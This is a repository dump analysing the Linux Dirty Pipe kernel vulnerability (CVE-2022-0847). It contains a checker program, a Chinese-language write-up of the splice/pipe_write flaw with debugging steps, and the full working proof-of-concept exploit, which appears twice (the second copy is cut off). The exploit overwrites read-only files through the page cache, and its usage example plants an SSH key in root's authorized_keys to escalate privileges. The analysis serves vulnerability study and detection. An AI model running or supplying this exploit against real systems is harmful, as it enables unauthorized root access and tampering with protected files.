├── exp&checker ├── check ├── check.c └── exp.c ├── img ├── image-20220308130957504.png ├── image-20220308165052936.png ├── image-20220308170125983.png ├── image-20220308170149137.png ├── image-20220308172336511.png ├── image-20220308173705037.png ├── image-20220308174556226.png ├── image-20220308202244668.png ├── image-20220308202256130.png ├── image-20220308203402061.png ├── image-20220308211006312.png ├── image-20220309124007780.png ├── image-20220309124515813.png ├── image-20220308202244668-16467449237121.png └── image-20220308203402061-16467449237122.png └── README.md /exp&checker/check: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenaotian/CVE-2022-0847/HEAD/exp&checker/check -------------------------------------------------------------------------------- /img/image-20220308130957504.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenaotian/CVE-2022-0847/HEAD/img/image-20220308130957504.png -------------------------------------------------------------------------------- /img/image-20220308165052936.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenaotian/CVE-2022-0847/HEAD/img/image-20220308165052936.png -------------------------------------------------------------------------------- /img/image-20220308170125983.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenaotian/CVE-2022-0847/HEAD/img/image-20220308170125983.png -------------------------------------------------------------------------------- /img/image-20220308170149137.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenaotian/CVE-2022-0847/HEAD/img/image-20220308170149137.png -------------------------------------------------------------------------------- /img/image-20220308172336511.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenaotian/CVE-2022-0847/HEAD/img/image-20220308172336511.png -------------------------------------------------------------------------------- /img/image-20220308173705037.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenaotian/CVE-2022-0847/HEAD/img/image-20220308173705037.png -------------------------------------------------------------------------------- /img/image-20220308174556226.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenaotian/CVE-2022-0847/HEAD/img/image-20220308174556226.png -------------------------------------------------------------------------------- /img/image-20220308202244668.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenaotian/CVE-2022-0847/HEAD/img/image-20220308202244668.png -------------------------------------------------------------------------------- /img/image-20220308202256130.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenaotian/CVE-2022-0847/HEAD/img/image-20220308202256130.png -------------------------------------------------------------------------------- /img/image-20220308203402061.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenaotian/CVE-2022-0847/HEAD/img/image-20220308203402061.png -------------------------------------------------------------------------------- /img/image-20220308211006312.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenaotian/CVE-2022-0847/HEAD/img/image-20220308211006312.png -------------------------------------------------------------------------------- /img/image-20220309124007780.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenaotian/CVE-2022-0847/HEAD/img/image-20220309124007780.png -------------------------------------------------------------------------------- /img/image-20220309124515813.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenaotian/CVE-2022-0847/HEAD/img/image-20220309124515813.png -------------------------------------------------------------------------------- /img/image-20220308202244668-16467449237121.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenaotian/CVE-2022-0847/HEAD/img/image-20220308202244668-16467449237121.png -------------------------------------------------------------------------------- /img/image-20220308203402061-16467449237122.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chenaotian/CVE-2022-0847/HEAD/img/image-20220308203402061-16467449237122.png -------------------------------------------------------------------------------- /exp&checker/check.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #ifndef PAGE_SIZE 11 | #define PAGE_SIZE 4096 12 | #endif 13 | 14 | /** 15 | * Create a pipe where all "bufs" on the pipe_inode_info ring have the 16 | * PIPE_BUF_FLAG_CAN_MERGE flag set. 17 | */ 18 | static void prepare_pipe(int p[2]) 19 | { 20 | if (pipe(p)) abort(); 21 | 22 | const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); 23 | static char buffer[4096]; 24 | 25 | /* fill the pipe completely; each pipe_buffer will now have 26 | the PIPE_BUF_FLAG_CAN_MERGE flag */ 27 | for (unsigned r = pipe_size; r > 0;) { 28 | unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 29 | write(p[1], buffer, n); 30 | r -= n; 31 | } 32 | 33 | /* drain the pipe, freeing all pipe_buffer instances (but 34 | leaving the flags initialized) */ 35 | for (unsigned r = pipe_size; r > 0;) { 36 | unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 37 | read(p[0], buffer, n); 38 | r -= n; 39 | } 40 | 41 | /* the pipe is now empty, and if somebody adds a new 42 | pipe_buffer without initializing its "flags", the buffer 43 | will be mergeable */ 44 | } 45 | 46 | int main(int argc, char **argv) 47 | { 48 | system("touch /tmp/testfile"); 49 | system("echo \"this is a test file!\" > /tmp/testfile"); 50 | system("chmod 444 /tmp/testfile"); 51 | 52 | 53 | /* dumb command-line argument parser */ 54 | const char *const path = "/tmp/testfile"; 55 | loff_t offset = 2; 56 | const char *const data = "hacked"; 57 | const size_t data_size = strlen(data); 58 | 59 | if (offset % PAGE_SIZE == 0) { 60 | fprintf(stderr, "Sorry, cannot start writing at a page boundary\n"); 61 | return EXIT_FAILURE; 62 | } 63 | 64 | const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; 65 | const loff_t end_offset = offset + (loff_t)data_size; 66 | if (end_offset > next_page) { 67 | fprintf(stderr, "Sorry, cannot write across a page boundary\n"); 68 | return EXIT_FAILURE; 69 | } 70 | 71 | /* open the input file and validate the specified offset */ 72 | const int fd = open(path, O_RDONLY); // yes, read-only! :-) 73 | if (fd < 0) { 74 | perror("open failed"); 75 | return EXIT_FAILURE; 76 | } 77 | 78 | struct stat st; 79 | if (fstat(fd, &st)) { 80 | perror("stat failed"); 81 | return EXIT_FAILURE; 82 | } 83 | 84 | if (offset > st.st_size) { 85 | fprintf(stderr, "Offset is not inside the file\n"); 86 | return EXIT_FAILURE; 87 | } 88 | 89 | if (end_offset > st.st_size) { 90 | fprintf(stderr, "Sorry, cannot enlarge the file\n"); 91 | return EXIT_FAILURE; 92 | } 93 | 94 | /* create the pipe with all flags initialized with 95 | PIPE_BUF_FLAG_CAN_MERGE */ 96 | int p[2]; 97 | prepare_pipe(p); 98 | 99 | /* splice one byte from before the specified offset into the 100 | pipe; this will add a reference to the page cache, but 101 | since copy_page_to_iter_pipe() does not initialize the 102 | "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ 103 | --offset; 104 | ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); 105 | if (nbytes < 0) { 106 | perror("splice failed"); 107 | return EXIT_FAILURE; 108 | } 109 | if (nbytes == 0) { 110 | fprintf(stderr, "short splice\n"); 111 | return EXIT_FAILURE; 112 | } 113 | 114 | /* the following write will not create a new pipe_buffer, but 115 | will instead write into the page cache, because of the 116 | PIPE_BUF_FLAG_CAN_MERGE flag */ 117 | nbytes = write(p[1], data, data_size); 118 | if (nbytes < 0) { 119 | perror("write failed"); 120 | return EXIT_FAILURE; 121 | } 122 | if ((size_t)nbytes < data_size) { 123 | fprintf(stderr, "short write\n"); 124 | return EXIT_FAILURE; 125 | } 126 | 127 | FILE * fp=fopen("/tmp/testfile","r"); 128 | char testbuf[500]; 129 | fgets(testbuf,500,fp); 130 | int result = strcmp("thhackeda test file!\n",testbuf); 131 | if(result == 0) 132 | { 133 | printf("There is CVE-2022-0847!\n"); 134 | } 135 | else{ 136 | printf("You are safe!"); 137 | } 138 | system("chmod 744 /tmp/testfile"); 139 | system("rm /tmp/testfile"); 140 | return EXIT_SUCCESS; 141 | } -------------------------------------------------------------------------------- /exp&checker/exp.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 */ 2 | /* 3 | * Copyright 2022 CM4all GmbH / IONOS SE 4 | * 5 | * author: Max Kellermann 6 | * 7 | * Proof-of-concept exploit for the Dirty Pipe 8 | * vulnerability (CVE-2022-0847) caused by an uninitialized 9 | * "pipe_buffer.flags" variable. It demonstrates how to overwrite any 10 | * file contents in the page cache, even if the file is not permitted 11 | * to be written, immutable or on a read-only mount. 12 | * 13 | * This exploit requires Linux 5.8 or later; the code path was made 14 | * reachable by commit f6dd975583bd ("pipe: merge 15 | * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was 16 | * there before, it just provided an easy way to exploit it. 17 | * 18 | * There are two major limitations of this exploit: the offset cannot 19 | * be on a page boundary (it needs to write one byte before the offset 20 | * to add a reference to this page to the pipe), and the write cannot 21 | * cross a page boundary. 22 | * 23 | * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' 24 | * 25 | * Further explanation: https://dirtypipe.cm4all.com/ 26 | */ 27 | 28 | #define _GNU_SOURCE 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | 37 | #ifndef PAGE_SIZE 38 | #define PAGE_SIZE 4096 39 | #endif 40 | 41 | /** 42 | * Create a pipe where all "bufs" on the pipe_inode_info ring have the 43 | * PIPE_BUF_FLAG_CAN_MERGE flag set. 44 | */ 45 | static void prepare_pipe(int p[2]) 46 | { 47 | if (pipe(p)) abort(); 48 | 49 | const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); 50 | static char buffer[4096]; 51 | 52 | /* fill the pipe completely; each pipe_buffer will now have 53 | the PIPE_BUF_FLAG_CAN_MERGE flag */ 54 | for (unsigned r = pipe_size; r > 0;) { 55 | unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 56 | write(p[1], buffer, n); 57 | r -= n; 58 | } 59 | 60 | /* drain the pipe, freeing all pipe_buffer instances (but 61 | leaving the flags initialized) */ 62 | for (unsigned r = pipe_size; r > 0;) { 63 | unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 64 | read(p[0], buffer, n); 65 | r -= n; 66 | } 67 | 68 | /* the pipe is now empty, and if somebody adds a new 69 | pipe_buffer without initializing its "flags", the buffer 70 | will be mergeable */ 71 | } 72 | 73 | int main(int argc, char **argv) 74 | { 75 | if (argc != 4) { 76 | fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]); 77 | return EXIT_FAILURE; 78 | } 79 | 80 | /* dumb command-line argument parser */ 81 | const char *const path = argv[1]; 82 | loff_t offset = strtoul(argv[2], NULL, 0); 83 | const char *const data = argv[3]; 84 | const size_t data_size = strlen(data); 85 | 86 | if (offset % PAGE_SIZE == 0) { 87 | fprintf(stderr, "Sorry, cannot start writing at a page boundary\n"); 88 | return EXIT_FAILURE; 89 | } 90 | 91 | const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; 92 | const loff_t end_offset = offset + (loff_t)data_size; 93 | if (end_offset > next_page) { 94 | fprintf(stderr, "Sorry, cannot write across a page boundary\n"); 95 | return EXIT_FAILURE; 96 | } 97 | 98 | /* open the input file and validate the specified offset */ 99 | const int fd = open(path, O_RDONLY); // yes, read-only! :-) 100 | if (fd < 0) { 101 | perror("open failed"); 102 | return EXIT_FAILURE; 103 | } 104 | 105 | struct stat st; 106 | if (fstat(fd, &st)) { 107 | perror("stat failed"); 108 | return EXIT_FAILURE; 109 | } 110 | 111 | if (offset > st.st_size) { 112 | fprintf(stderr, "Offset is not inside the file\n"); 113 | return EXIT_FAILURE; 114 | } 115 | 116 | if (end_offset > st.st_size) { 117 | fprintf(stderr, "Sorry, cannot enlarge the file\n"); 118 | return EXIT_FAILURE; 119 | } 120 | 121 | /* create the pipe with all flags initialized with 122 | PIPE_BUF_FLAG_CAN_MERGE */ 123 | int p[2]; 124 | prepare_pipe(p); 125 | 126 | /* splice one byte from before the specified offset into the 127 | pipe; this will add a reference to the page cache, but 128 | since copy_page_to_iter_pipe() does not initialize the 129 | "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ 130 | --offset; 131 | ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); 132 | if (nbytes < 0) { 133 | perror("splice failed"); 134 | return EXIT_FAILURE; 135 | } 136 | if (nbytes == 0) { 137 | fprintf(stderr, "short splice\n"); 138 | return EXIT_FAILURE; 139 | } 140 | 141 | /* the following write will not create a new pipe_buffer, but 142 | will instead write into the page cache, because of the 143 | PIPE_BUF_FLAG_CAN_MERGE flag */ 144 | nbytes = write(p[1], data, data_size); 145 | if (nbytes < 0) { 146 | perror("write failed"); 147 | return EXIT_FAILURE; 148 | } 149 | if ((size_t)nbytes < data_size) { 150 | fprintf(stderr, "short write\n"); 151 | return EXIT_FAILURE; 152 | } 153 | 154 | printf("It worked!\n"); 155 | return EXIT_SUCCESS; 156 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-0847 Dirty Pipe linux内核提权分析 2 | 3 | [toc] 4 | 5 | 本文首发于华为安全公众号,这是博客版(比较完整) 6 | 7 | 首发链接:https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg 8 | 9 | ## 漏洞简介 10 | 11 | 漏洞编号: CVE-2022-0847 (别名: 脏管道dirty pipe) 12 | 13 | 漏洞产品: linux kernel - splice syscall 14 | 15 | 影响版本: linux 5.8 补丁 [f6dd975583bd](https://github.com/torvalds/linux/commit/f6dd975583bd8ce088400648fd9819e4691c8958) 引入~ 5.16.11、5.15.25、5.10.102 修复 16 | 17 | 漏洞危害: 对任意可读文件写不超过一页的内容(足够了),可本地提权。 18 | 19 | ## 环境搭建 20 | 21 | 漏洞分析docker:[chenaotian/cve-2022-0847](https://registry.hub.docker.com/r/chenaotian/cve-2022-0847) (如果还访问不了那就是我还没做好传上去) 22 | 23 | 提供了: 24 | 25 | - 编译的有漏洞的可调式内核5.13 26 | - qemu 、gdb、linux 内核5.13源码 27 | - exp 28 | 29 | 启动: 30 | 31 | ```shell 32 | cd ~/cve-2022-0847 33 | gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs 34 | find . | cpio -o --format=newc > ../rootfs.img 35 | cd ../ 36 | ./boot.sh 37 | ``` 38 | 39 | 调试: 40 | 41 | ``` 42 | gdb ./vmlinux 43 | target remote :10086 44 | directory /root/linux-5.13 45 | b do_splice 46 | b copy_page_to_iter_pipe 47 | b pipe_write 48 | ignore 3 15 49 | ... 50 | p *(struct pipe_inode_info *) pipe 51 | p (struct pipe_buffer)pipe->bufs[0] 52 | ``` 53 | 54 | ## 漏洞原理 55 | 56 | > 漏洞简要原理是,调用`splice` 函数可以通过"零拷贝"的形式将文件发送到`pipe`,代码层面的零拷贝是直接将文件缓存页(page cache)作为`pipe` 的`buf`页使用。但这里引入了一个变量未初始化漏洞,导致文件缓存页会在后续`pipe` 通道中被当成普通`pipe`缓存页而被"续写"进而被篡改。然而,在这种情况下,内核并不会将这个缓存页判定为"脏页",短时间内(到下次重启之类的)不会刷新到磁盘。在这段时间内所有访问该文件的场景都将使用被篡改的文件缓存页,也就达成了一个"短时间内对任意可读文件任意写"的操作。可以完成本地提权。 57 | 58 | ### 漏洞发生点 59 | 60 | 根据补丁,漏洞发生点位于`copy_page_to_iter_pipe` 函数,增加了对`buf->flags`的初始化操作,所以这是一个变量未初始化漏洞。 61 | 62 | ![image-20220308170149137](img/image-20220308170149137.png) 63 | 64 | `copy_page_to_iter_pipe` 的调用点出现在 `splice` 系统调用之中。`splice` 函数(系统调用)通过一种"零拷贝"的方法将文件内容输送到管道之中。相比传统的直接将文件内容送入管道性能更好。具体在下文介绍。 65 | 66 | ### pipe原理与pipe_write 67 | 68 | 首先,漏洞别名脏管道,先了解一下管道(`pipe`)。`pipe` 是内核提供的一个通信管道,通过`pipe/pipe2` 函数创建,返回两个文件描述符,一个用于发送数据,另一个用于接受数据,类似管道的两段,具体使用不多bb。 69 | 70 | ![image-20220309124007780](img/image-20220309124007780.png) 71 | 72 | 简单说一下在内核中的实现,通常pipe 缓存空间总长度65536 字节用页的形式进行管理,总共16页(一页4096字节),页面之间并不连续,而是通过数组进行管理,形成一个环形链表。维护两个链表指针,一个用来写(`pipe->head`),一个用来读(`pipe->tail`),这里主要分析一下`pipe_write` 函数: 73 | 74 | linux-5.13\fs\pipe.c : 400 : pipe_write 75 | 76 | ```c 77 | static ssize_t 78 | pipe_write(struct kiocb *iocb, struct iov_iter *from) 79 | { 80 | struct file *filp = iocb->ki_filp; 81 | struct pipe_inode_info *pipe = filp->private_data; 82 | unsigned int head; 83 | ssize_t ret = 0; 84 | size_t total_len = iov_iter_count(from); 85 | ssize_t chars; 86 | bool was_empty = false; 87 | bool wake_next_writer = false; 88 | 89 | ··· ··· 90 | ··· ··· 91 | head = pipe->head; 92 | was_empty = pipe_empty(head, pipe->tail); 93 | chars = total_len & (PAGE_SIZE-1); 94 | if (chars && !was_empty) { 95 | //[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写 96 | unsigned int mask = pipe->ring_size - 1; 97 | struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask]; 98 | int offset = buf->offset + buf->len; 99 | 100 | if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) && 101 | offset + chars <= PAGE_SIZE) { 102 | /*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写 103 | *如果写入长度不会跨页,则接着写,否则直接另起一页 */ 104 | ret = pipe_buf_confirm(pipe, buf); 105 | ··· 106 | ret = copy_page_from_iter(buf->page, offset, chars, from); 107 | ··· 108 | } 109 | buf->len += ret; 110 | ··· 111 | } 112 | } 113 | 114 | for (;;) {//[3]如果上一页没法接着写,则重新起一页 115 | ··· ··· 116 | head = pipe->head; 117 | if (!pipe_full(head, pipe->tail, pipe->max_usage)) { 118 | unsigned int mask = pipe->ring_size - 1; 119 | struct pipe_buffer *buf = &pipe->bufs[head & mask]; 120 | struct page *page = pipe->tmp_page; 121 | int copied; 122 | 123 | if (!page) {//[4]重新申请一个新页 124 | page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT); 125 | if (unlikely(!page)) { 126 | ret = ret ? : -ENOMEM; 127 | break; 128 | } 129 | pipe->tmp_page = page; 130 | } 131 | 132 | spin_lock_irq(&pipe->rd_wait.lock); 133 | 134 | head = pipe->head; 135 | ··· ··· 136 | pipe->head = head + 1; 137 | spin_unlock_irq(&pipe->rd_wait.lock); 138 | 139 | /* Insert it into the buffer array */ 140 | buf = &pipe->bufs[head & mask]; 141 | buf->page = page;//[5]将新申请的页放到页数组中 142 | buf->ops = &anon_pipe_buf_ops; 143 | buf->offset = 0; 144 | buf->len = 0; 145 | if (is_packetized(filp)) 146 | buf->flags = PIPE_BUF_FLAG_PACKET; 147 | else 148 | buf->flags = PIPE_BUF_FLAG_CAN_MERGE; 149 | //[6]设置flag,默认PIPE_BUF_FLAG_CAN_MERGE 150 | pipe->tmp_page = NULL; 151 | 152 | copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); 153 | //[7]拷贝操作 154 | ··· ··· 155 | ret += copied; 156 | buf->offset = 0; 157 | buf->len = copied; 158 | 159 | ··· ··· 160 | } 161 | ··· ··· 162 | } 163 | ··· ··· 164 | return ret; 165 | } 166 | ``` 167 | 168 | 1. 如果当前管道(`pipe`)中不为空(`head==tail`判定为空管道),则说明现在管道中有未被读取的数据,则获取`head` 指针,也就是指向最新的用来写的页,查看该页的`len`、`offset`(为了找到数据结尾)。接下来尝试在当前页面续写 169 | 2. 判断 **当前页面是否带有 `PIPE_BUF_FLAG_CAN_MERGE` `flag`标记,如果不存在则不允许在当前页面续写**。或当前写入的数据拼接在之前的数据后面长度超过一页(即写入操作跨页),如果跨页,则无法续写。 170 | 2. 如果无法在上一页续写,则另起一页 171 | 2. `alloc_page` 申请一个新的页 172 | 2. 将新的页放在数组最前面(可能会替换掉原有页面),初始化值。 173 | 2. `buf->flag` 默认初始化为`PIPE_BUF_FLAG_CAN_MERGE` ,因为默认状态是允许页可以续写的。 174 | 2. 拷贝写入的数据,没拷贝完重复上述操作。 175 | 176 | 漏洞利用的关键就是在`splice` 中未被初始化的`PIPE_BUF_FLAG_CAN_MERGE` `flag`标记,这代表我们能否在一个"没写完"的`pipe` 页续写。 177 | 178 | ### splice到copy_page_to_iter_pipe 179 | 180 | 上面提到了,`pipe` 就是通过管理16 个页来作为缓存。`splice` 的零拷贝方法就是,直接用文件缓存页来替换`pipe` 中的缓存页(更改pipe缓存页指针指向文件缓存页)。 181 | 182 | ![image-20220309124515813](img/image-20220309124515813.png) 183 | 184 | `splice` 系统调用到漏洞函数`copy_page_to_iter_pipe` 调用栈很深,具体不详细分析,调用栈如下: 185 | 186 | - `SYSCALL_DEFINE6(splice,...)` -> `__do_sys_splice` -> `__do_splice`-> `do_splice` 187 | - `splice_file_to_pipe` -> `do_splice_to` 188 | - `generic_file_splice_read`(`in->f_op->splice_read` 默认为 `generic_file_splice_read`) 189 | - `call_read_iter` -> `filemap_read` 190 | - `copy_page_to_iter` -> `copy_page_to_iter_pipe` 191 | 192 | 漏洞所在的`copy_page_to_iter_pipe` 函数主要做的工作就是将`pipe` 缓存页结构指向要传输的文件的文件缓存页: 193 | 194 | linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe 195 | 196 | ```c 197 | static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes, 198 | struct iov_iter *i) 199 | { 200 | struct pipe_inode_info *pipe = i->pipe; 201 | struct pipe_buffer *buf; 202 | unsigned int p_tail = pipe->tail; 203 | unsigned int p_mask = pipe->ring_size - 1; 204 | unsigned int i_head = i->head; 205 | size_t off; 206 | 207 | ··· ··· 208 | 209 | off = i->iov_offset; 210 | buf = &pipe->bufs[i_head & p_mask];//[1]获取对应的pipe 缓存页 211 | ··· ··· 212 | 213 | buf->ops = &page_cache_pipe_buf_ops;//[2]修改pipe 缓存页的相关信息指向文件缓存页 214 | get_page(page); 215 | buf->page = page;//[2]页指针指向了文件缓存页 216 | buf->offset = offset;//[2]offset len 等设置为当前信息(通过splice 传入参数决定) 217 | buf->len = bytes; 218 | 219 | pipe->head = i_head + 1; 220 | i->iov_offset = offset + bytes; 221 | i->head = i_head; 222 | out: 223 | i->count -= bytes; 224 | return bytes; 225 | } 226 | ``` 227 | 228 | 1. 首先根据`pipe` 页数组环形结构,找到当前写指针(`pipe->head`) 位置 229 | 2. 将当前需要写入的页指向准备好的文件缓存页,并设置其他信息,比如`len` 是由`splice` 系统调用的传入参数决定的。这里唯独没有初始化flag,造成漏洞。 230 | 231 | 一般初始化完`pipe->bufs`长这样: 232 | 233 | ![image-20220308165052936](img/image-20220308165052936.png) 234 | 235 | 这时根据上面分析过的`pipe_write` 代码,如果重新调用`pipe_write` 向`pipe` 中写数据,写指针(`pipe->head`) 指向上图中的页,`flag` 为 `PIPE_BUF_FLAG_CAN_MERGE` ,则会认为可以接着该页继续写,只要写入长度不跨页: 236 | 237 | ```c 238 | #define PIPE_BUF_FLAG_CAN_MERGE 0x10 /* can merge buffers */ 239 | 240 | if (chars && !was_empty) { 241 | //[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写 242 | unsigned int mask = pipe->ring_size - 1; 243 | struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask]; 244 | int offset = buf->offset + buf->len; 245 | 246 | if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) && 247 | offset + chars <= PAGE_SIZE) { 248 | /*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写 249 | *如果写入长度不会跨页,则接着写,否则直接另起一页 */ 250 | ret = pipe_buf_confirm(pipe, buf); 251 | ··· 252 | ret = copy_page_from_iter(buf->page, offset, chars, from); 253 | ``` 254 | 255 | ### linux 内核page cache机制 256 | 257 | linux 通过将打开的文件放到缓存页之中,缓存页被使用过后也会保存一段时间避免不必要的IO操作。短时间内访问同一个文件,都会操作相同的文件缓存页,而不是反复打开。而我们通过该方法篡改了这个文件缓存页,则短时间内访问(读取)该文件的操作都会读到被我们篡改的文件缓存页上,完成利用。 258 | 259 | ## 漏洞利用 260 | 261 | 上面已经描述过了,漏洞利用过程非常简单,看懂漏洞原理即可利用。根据作者的操作,大概分为以下几步: 262 | 263 | 1. 创建一个管道 264 | 2. 将管道填充满(通过`pipe_write`),这样所有的`buf`(`pipe` 缓存页)都初始化过了,`flag` 默认初始化为`PIPE_BUF_FLAG_CAN_MERGE` 265 | 3. 将管道清空(通过`pipe_read`),这样通过`splice` 系统调用传送文件的时候就会使用原有的初始化过的`buf `结构。 266 | 4. 调用`splice` 函数将想要篡改的文件传送入 267 | 5. 继续向`pipe`写入内容(`pipe_write`),这时就会覆盖到文件缓存页了,完成暂时文件篡改。 268 | 269 | ### 细节调试 270 | 271 | 第二步结束,管道填满又清空之后,可以看到bufs 结构中就是接下来未初始化内容要复用的数据: 272 | 273 | ``` 274 | p *(struct pipe_inode_info *) pipe 275 | p (struct pipe_buffer)pipe->bufs[0] 276 | ``` 277 | 278 | ![image-20220308173705037](img/image-20220308173705037.png) 279 | 280 | `splice` 之后文件传入之后,变为,其中`flag` 未被初始化,并且这里`len` 要设置的尽量小,因为越小我们后续"续写"时能写的长度就越长,这里设置为1,偏移为我们想要篡改的起始地址,这里会将`pipe->bufs->page` 指针指向起始地址: 281 | 282 | ``` 283 | splice(fd, &offset, p[1], NULL, 1, 0); 284 | ``` 285 | 286 | ![image-20220308165052936](img/image-20220308165052936.png) 287 | 288 | 再一次`pipe_write`,满足续写条件,直接在页面续写: 289 | 290 | ![image-20220308174556226](img/image-20220308174556226.png) 291 | 292 | ### exp 293 | 294 | 不是我写的,漏洞披露之中的: 295 | 296 | ```c 297 | /* SPDX-License-Identifier: GPL-2.0 */ 298 | /* 299 | * Copyright 2022 CM4all GmbH / IONOS SE 300 | * 301 | * author: Max Kellermann 302 | * 303 | * Proof-of-concept exploit for the Dirty Pipe 304 | * vulnerability (CVE-2022-0847) caused by an uninitialized 305 | * "pipe_buffer.flags" variable. It demonstrates how to overwrite any 306 | * file contents in the page cache, even if the file is not permitted 307 | * to be written, immutable or on a read-only mount. 308 | * 309 | * This exploit requires Linux 5.8 or later; the code path was made 310 | * reachable by commit f6dd975583bd ("pipe: merge 311 | * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was 312 | * there before, it just provided an easy way to exploit it. 313 | * 314 | * There are two major limitations of this exploit: the offset cannot 315 | * be on a page boundary (it needs to write one byte before the offset 316 | * to add a reference to this page to the pipe), and the write cannot 317 | * cross a page boundary. 318 | * 319 | * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' 320 | * 321 | * Further explanation: https://dirtypipe.cm4all.com/ 322 | */ 323 | 324 | #define _GNU_SOURCE 325 | #include 326 | #include 327 | #include 328 | #include 329 | #include 330 | #include 331 | #include 332 | 333 | #ifndef PAGE_SIZE 334 | #define PAGE_SIZE 4096 335 | #endif 336 | 337 | /** 338 | * Create a pipe where all "bufs" on the pipe_inode_info ring have the 339 | * PIPE_BUF_FLAG_CAN_MERGE flag set. 340 | */ 341 | static void prepare_pipe(int p[2]) 342 | { 343 | if (pipe(p)) abort(); 344 | 345 | const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); 346 | static char buffer[4096]; 347 | 348 | /* fill the pipe completely; each pipe_buffer will now have 349 | the PIPE_BUF_FLAG_CAN_MERGE flag */ 350 | for (unsigned r = pipe_size; r > 0;) { 351 | unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 352 | write(p[1], buffer, n); 353 | r -= n; 354 | } 355 | 356 | /* drain the pipe, freeing all pipe_buffer instances (but 357 | leaving the flags initialized) */ 358 | for (unsigned r = pipe_size; r > 0;) { 359 | unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 360 | read(p[0], buffer, n); 361 | r -= n; 362 | } 363 | 364 | /* the pipe is now empty, and if somebody adds a new 365 | pipe_buffer without initializing its "flags", the buffer 366 | will be mergeable */ 367 | } 368 | 369 | int main(int argc, char **argv) 370 | { 371 | if (argc != 4) { 372 | fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]); 373 | return EXIT_FAILURE; 374 | } 375 | 376 | /* dumb command-line argument parser */ 377 | const char *const path = argv[1]; 378 | loff_t offset = strtoul(argv[2], NULL, 0); 379 | const char *const data = argv[3]; 380 | const size_t data_size = strlen(data); 381 | 382 | if (offset % PAGE_SIZE == 0) { 383 | fprintf(stderr, "Sorry, cannot start writing at a page boundary\n"); 384 | return EXIT_FAILURE; 385 | } 386 | 387 | const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; 388 | const loff_t end_offset = offset + (loff_t)data_size; 389 | if (end_offset > next_page) { 390 | fprintf(stderr, "Sorry, cannot write across a page boundary\n"); 391 | return EXIT_FAILURE; 392 | } 393 | 394 | /* open the input file and validate the specified offset */ 395 | const int fd = open(path, O_RDONLY); // yes, read-only! :-) 396 | if (fd < 0) { 397 | perror("open failed"); 398 | return EXIT_FAILURE; 399 | } 400 | 401 | struct stat st; 402 | if (fstat(fd, &st)) { 403 | perror("stat failed"); 404 | return EXIT_FAILURE; 405 | } 406 | 407 | if (offset > st.st_size) { 408 | fprintf(stderr, "Offset is not inside the file\n"); 409 | return EXIT_FAILURE; 410 | } 411 | 412 | if (end_offset > st.st_size) { 413 | fprintf(stderr, "Sorry, cannot enlarge the file\n"); 414 | return EXIT_FAILURE; 415 | } 416 | 417 | /* create the pipe with all flags initialized with 418 | PIPE_BUF_FLAG_CAN_MERGE */ 419 | int p[2]; 420 | prepare_pipe(p); 421 | 422 | /* splice one byte from before the specified offset into the 423 | pipe; this will add a reference to the page cache, but 424 | since copy_page_to_iter_pipe() does not initialize the 425 | "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ 426 | --offset; 427 | ssize_t nbytes = splice(fd, 